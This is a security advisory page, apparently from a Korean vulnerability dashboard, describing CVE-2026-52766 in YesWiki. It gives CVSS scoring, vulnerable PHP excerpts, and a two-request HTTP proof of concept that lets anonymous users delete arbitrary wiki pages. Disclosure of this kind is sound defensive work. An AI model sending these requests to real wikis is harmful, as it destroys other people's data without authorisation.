Kestrel
대시보드로 돌아가기
CVE-2026-52766CRITICAL· 9.1GHSA대응게시일: 2026. 07. 09.수정일: 2026. 07. 09.

YesWiki vulnerable to unauthenticated arbitrary page deletion via `{{erasespamedcomments}}` action

위협 신호 · CVSS · EPSS · KEV

시급 검토· 이론 심각도 Critical
CVSS
9.1critical

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향없음
무결성 영향높음
가용성 영향높음
버전별 점수
CVSS 3.19.1CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

상세 설명

Summary

The {{erasespamedcomments}} wiki action (actions/EraseSpamedCommentsAction.php) accepts a suppr[] array from POST and deletes every wiki page whose tag appears in that array, with no authorization check anywhere in the action body or in the page-deletion path it invokes. Combined with YesWiki's allow-by-default action ACL model, any user who has page write access, which is the default for everyone (default_write_acl='*') on a fresh install can permanently delete arbitrary wiki pages, including the front page, admin pages, and pages owned by other users.

The action's delete() callee is PageManager::deleteOrphaned(), which despite its name does not check whether the target page is orphaned: it issues an unconditional DELETE against pages, links, acls, triples, referrers, and tags tables.

Details

Three issues compose the vulnerability.

  1. actions/EraseSpamedCommentsAction.php performs no authorization check before processing $_POST['clean'] / $_POST['suppr'][] in actions/EraseSpamedCommentsAction.php:

    bash
    1public function run()
    2{
    3 $wiki = &$this->wiki;
    4 ob_start();
    5 // ...
    6 elseif (isset($_POST['clean'])) {
    7 $deletedPages = '';
    8 if (!empty($_POST['suppr'])) {
    9 foreach ($_POST['suppr'] as $page) {
    10 echo 'Effacement de : ' . $page . "<br />\n";
    11 if ($wiki->services->get(PageController::class)->delete($page)) {
    12 $deletedPages .= $page . ', ';
    13 }
    14 }
    15 }
    16
    17 }
    18}

    No UserIsAdmin(), no UserIsOwner(), no HasAccess('write', $page) per-target check, no CSRF token check.

  2. The default action ACL grants access to everyone in includes/YesWiki.php:

    bash
    1$acl = empty($this->config['permissions'][$moduleType][$module])
    2 ? '*'
    3 : $this->config['permissions'][$moduleType][$module];
    bash
    1if ($acl === null) { return true; }
    2return $this->CheckACL($acl, $user);

    No shipped permissions map gates erasespamedcomments to admins, so Performer::CheckModuleACL('erasespamedcomments', 'action') returns true for anonymous users.

  3. PageController::delete() and PageManager::deleteOrphaned() perform no authorization check and do not validate that the page is actually orphaned in includes/controllers/PageController.php:38–48:

    bash
    1public function delete(string $tag): bool
    2{
    3 if ($this->entryManager->isEntry($tag)) {
    4 return $this->entryController->delete($tag);
    5 } else {
    6 $this->pageManager->deleteOrphaned($tag);
    7 $this->wiki->LogAdministrativeAction(
    8 $this->authController->getLoggedUserName(),
    9 'Suppression de la page ->""' . $tag . '""'
    10 );
    11 return true;
    12 }
    13}

in includes/services/PageManager.php:289–310:

bash
1public function deleteOrphaned($tag)
2{
3 if ($this->securityController->isWikiHibernated()) { throw new \Exception(_t('WIKI_IN_HIBERNATION')); }
4 unset($this->ownersCache[$tag]);
5 if (in_array($tag, $this->pageCache)) { unset($this->pageCache[$tag]); }
6 $this->dbService->query("DELETE FROM ... WHERE tag='{$this->dbService->escape($tag)}' OR comment_on='{$this->dbService->escape($tag)}'");
7 $this->dbService->query("DELETE FROM ...links... WHERE from_tag='{$this->dbService->escape($tag)}' ");
8 $this->dbService->query("DELETE FROM ...acls... WHERE page_tag='{$this->dbService->escape($tag)}' ");
9 // ...further unconditional DELETEs across triples, referrers, tags
10}

The companion isOrphaned() method (line 284) exists but is never called from deleteOrphaned(). The function name is misleading as it deletes any page, not just orphans.

PoC

Default fresh install where default_write_acl='*' (per includes/YesWikiInit.php:219), anonymous browsing.

  1. create a trigger page (anonymous)
http
1POST /?wiki=SpamCleanup/edit HTTP/1.1
2Host: target.example
3Content-Type: application/x-www-form-urlencoded
4
5body=%7B%7Berasespamedcomments%7D%7D&submit=1

This succeeds because the new page passes aclService->hasAccess('write', 'SpamCleanup') against default_write_acl='*'.

  1. trigger arbitrary page deletion (anonymous)
http
1POST /?wiki=SpamCleanup HTTP/1.1
2Host: target.example
3Content-Type: application/x-www-form-urlencoded
4
5clean=yes&suppr%5B0%5D=PagePrincipale&suppr%5B1%5D=AnotherTargetPage

Server response includes Effacement de : PagePrincipale and Effacement de : AnotherTargetPage. pages, links, acls, triples, referrers, and tags rows for those tags are deleted from the database.

Impact

Arbitrary page deletion, including the front page (PagePrincipale).

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.